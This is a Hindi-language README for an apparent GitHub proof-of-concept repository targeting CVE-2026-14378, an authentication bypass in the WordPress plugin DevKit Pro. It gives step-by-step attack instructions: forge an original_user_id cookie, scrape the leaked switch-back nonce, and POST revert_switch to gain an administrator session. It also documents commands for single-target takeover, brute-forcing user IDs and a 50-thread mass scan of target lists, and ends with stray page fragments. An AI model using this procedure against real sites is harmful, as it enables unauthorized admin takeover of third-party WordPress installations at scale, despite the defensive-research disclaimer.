CVE-2026-14378 — DevKit Pro प्रमाणीकरण बायपास PoC

CVE-2026-14378 के लिए प्रूफ-ऑफ-कॉन्सेप्ट स्कैनर और एक्सप्लॉइट हेल्पर: WordPress प्लगइन DevKit Pro (dplugins) में त्रुटिपूर्ण यूज़र-स्विच "revert" फ़्लो के माध्यम से अनधिकृत व्यवस्थापक सत्र अधिग्रहण।

कानूनी: केवल उन सिस्टम पर उपयोग करें जिनका आप स्वामी हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित अनुमति है। अनधिकृत पहुँच अवैध है। यह रिपॉज़िटरी रक्षात्मक शोध, सत्यापन और पैचिंग सत्यापन के लिए है।

GitHub रिपॉज़िटरी विवरण (कॉपी-पेस्ट)

PoC for CVE-2026-14378: DevKit Pro ≤2.3.0 pre-auth admin takeover via forged original_user_id cookie + wp_footer revert_switch nonce. check/admin + mass scan.

सुझाए गए विषय: cve-2026-14378, wordpress, wordpress-exploit, devkit-pro, dplugins, authentication-bypass, poc, security-research

एक नज़र में भेद्यता


CVE	CVE-2026-14378
उत्पाद	DevKit Pro (विक्रेता: dplugins)
प्रकार	प्रमाणीकरण बायपास → पूर्ण व्यवस्थापक सत्र (CWE-287)
प्रभावित	सभी संस्करण ≤ 2.3.0
ठीक किया गया	3.0.0+ (changelog)
CVSS 3.1	9.8 Critical — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
CNA	Wordfence

मूल कारण (तकनीकी)

DevKit Pro का Users Manager परीक्षण के लिए उपयोगकर्ताओं का प्रतिरूपण कर सकता है। जब कोई व्यवस्थापक किसी अन्य खाते पर स्विच करता है, तो प्लगइन पूर्व पहचान को क्लाइंट कुकी में संग्रहीत करता है:

original_user_id — स्विच से पहले खाते की उपयोगकर्ता ID

जब वह कुकी मौजूद होती है, तो प्लगइन फ्रंट एंड पर wp_footer में एक "switch back" नियंत्रण प्रस्तुत करता है, जिसमें revert क्रिया से बंधा एक WordPress nonce शामिल होता है।

revert_switch हैंडलर (AJAX) verify_nonce_and_capability() को कॉल करता है, जो वास्तविक अनुरोधकर्ता (जो पूरी तरह से अनधिकृत हो सकता है) पर current_user_can() का उपयोग करने के बजाय original_user_id द्वारा संदर्भित उपयोगकर्ता के विरुद्ध manage_options का गलत मूल्यांकन करता है।

एक हमलावर यह कर सकता है:

Cookie: original_user_id=<administrator_user_id> सेट करें (सामान्यतः 1)।
कोई भी सार्वजनिक पृष्ठ अनुरोध करें और revert फ़ॉर्म / nonce के लिए फ़ुटर को पार्स करें।
action=revert_switch (या प्लगइन-विशिष्ट उपनाम) और लीक हुए nonce के साथ wp-admin/admin-ajax.php पर POST करें।
जाली उपयोगकर्ता ID के लिए wp_set_auth_cookie() ट्रिगर करें → प्रमाणीकृत व्यवस्थापक सत्र।

आधिकारिक सुविधा संदर्भ: Users Manager — switch back.

हमला प्रवाह

sequenceDiagram
    participant A as Attacker
    participant W as WordPress (front end)
    participant P as DevKit Pro
    participant X as admin-ajax.php

    A->>W: GET / (Cookie: original_user_id=1)
    W->>P: wp_footer hook
    P-->>W: switch-back HTML + nonce
    W-->>A: page body contains nonce
    A->>X: POST action=revert_switch + nonce
    Note over P,X: capability checked for user 1, not attacker
    X-->>A: Set-Cookie wordpress_logged_in_*
    A->>W: GET /wp-admin/
    W-->>A: admin dashboard

जब जाँच सफल होती है बनाम विफल

check कमांड जानबूझकर सख्त है: यह केवल तब vulnerable रिपोर्ट करता है जब original_user_id को जाली बनाने के बाद switch-back nonce प्रकट होता है।

अवलोकन	संभावित अर्थ
`VULNERABLE — switch-back material leaked`	एक्सप्लॉइट पथ संभवतः काम करता है; `admin` से पहले लैब में पुष्टि करें।
`not vulnerable (check): no switch-back nonce…`	पैच किया गया DevKit (≥ 3.0.0), प्लगइन इंस्टॉल नहीं, Users Manager अक्षम (डिफ़ॉल्ट रूप से बंद), कस्टम प्लगइन पथ, कैश/CDN फ़ुटर हटा रहा है, या गलत साइट।
`DevKit Pro readme not confirmed`	कोई सार्वजनिक `readme.txt` फ़िंगरप्रिंट नहीं; प्लगइन अभी भी मौजूद हो सकता है लेकिन छिपा हुआ — oracle निर्णायक परीक्षण बना हुआ है।
`DevKit Pro <= 2.3.0 suspected` + अभी भी कोई nonce नहीं	भेद्य संस्करण इंस्टॉल हो सकता है लेकिन switch सुविधा सक्षम नहीं या परीक्षण किए गए URL पर फ़ुटर प्रस्तुत नहीं।

नोट: /wp-content/plugins/.../readme.txt पर HTTP 200 जो पूर्ण HTML पृष्ठ लौटाता है, एक सामान्य WordPress सॉफ्ट 404 है। यह PoC readme सामग्री (Plugin Name: हेडर) को मान्य करता है, केवल स्थिति कोड को नहीं।

आवश्यकताएँ

Python 3.9+
requests

pip install requests

वैकल्पिक: requirements.txt में एक पिन किया गया न्यूनतम संस्करण है:

requests>=2.28.0

इंस्टॉलेशन

git clone https://github.com/YOUR_USER/cve-2026-14378-poc.git
cd cve-2026-14378-poc
pip install -r requirements.txt   # or: pip install requests

उपयोग

एकल लक्ष्य — केवल पहचान (सुरक्षित)

अधिग्रहण पूरा नहीं करता; केवल फ़ुटर nonce oracle का परीक्षण करता है।

python poc.py check https://target.example/
python poc.py check https://target.example/ --user-id 2
python poc.py check https://target.example/ --timeout 40

एकल लक्ष्य — सत्र अधिग्रहण

पूर्ण revert_switch का प्रयास करता है और /wp-admin/ पहुँच सत्यापित करता है।

python poc.py admin https://target.example/
python poc.py admin https://target.example/ --user-id 1 --brute 5
python poc.py admin https://target.example/ --log successes.txt

फ़्लैग	विवरण
`--user-id`	`original_user_id` में जाली बनाई गई व्यवस्थापक (या लक्ष्य) उपयोगकर्ता ID (डिफ़ॉल्ट: `1`)
`--brute`	जब पहली ID विफल हो तो ID `1..N` आज़माएँ
`--timeout`	सेकंड में HTTP टाइमआउट (डिफ़ॉल्ट: `25`)
`--log`	सफल `admin` URL को फ़ाइल में जोड़ें (डिफ़ॉल्ट: `logs.txt`)

मास स्कैन (सूची फ़ाइल)

प्रति पंक्ति एक URL; # टिप्पणियाँ और व्हाइटस्पेस के बाद अतिरिक्त कॉलम अनदेखा किए जाते हैं।

# Detection only (recommended first pass)
python poc.py targets.txt

# Exploit attempts (authorized targets only)
python poc.py targets.txt admin

यदि पहले तर्क के रूप में कोई फ़ाइल पास नहीं की जाती है, तो स्क्रिप्ट सूची पथ के लिए संकेत देती है (विरासत मास स्कैनर के समान व्यवहार)।

मास मोड एक थ्रेड पूल (50 workers) का उपयोग करता है। यदि आप दर सीमा तक पहुँचते हैं तो poc.py में ट्यून करें।

उदाहरण सूची फ़ाइल

# FOFA / manual imports
https://staging.example.com
example.org
192.0.2.10|wordpress|1.2.3   # only first token is used

उदाहरण आउटपुट

भेद्य (check):

[*] https://vulnerable.example
[+] DevKit Pro <= 2.3.0 suspected (stable tag 2.3.0)
[+] VULNERABLE — switch-back material leaked (action=revert_switch, nonce=a1b2c3d4…)

भेद्य नहीं (सामान्य मास स्कैन):

[*] https://patched.example
[!] DevKit Pro readme not confirmed (hidden path, WAF, or plugin absent)
[-] not vulnerable (check): no switch-back nonce in wp_footer with forged original_user_id cookie — patched DevKit, Users Manager off, or wrong target

सफल admin:

[*] https://lab.local
[+] https://lab.local -> administrator session as user_id=1
[+] cookie: wordpress_logged_in_…=…

कार्यान्वयन नोट्स

HTTP: पेंटेस्ट-शैली स्कैनिंग के लिए TLS सत्यापन अक्षम (verify=False); रीडायरेक्ट का पालन; त्रुटियों पर वैकल्पिक HTTP↔HTTPS फ़ॉलबैक।
आज़माए गए AJAX क्रियाएँ: revert_switch, DPDEV_revert_switch, dpdev_revert_switch, devkit_revert_switch (व्यावसायिक प्लगइन; सटीक हुक नाम बिल्ड के अनुसार भिन्न हो सकता है)।
Oracle पृष्ठ: जाली कुकी के साथ /, /?p=1, /sample-page/, /index.php।
सफलता संकेत: wordpress_logged_in_* कुकी और/या /wp-admin/ डैशबोर्ड मार्कर।

CVE	समस्या	प्रमाणीकरण
CVE-2026-14357	`DPDEV_install_themes` के माध्यम से मनमाना थीम ZIP इंस्टॉल	Subscriber+
CVE-2026-14378	यूज़र-स्विच revert के माध्यम से सत्र अधिग्रहण	कोई नहीं

CVE-2026-19660

सबसे लोकप्रिय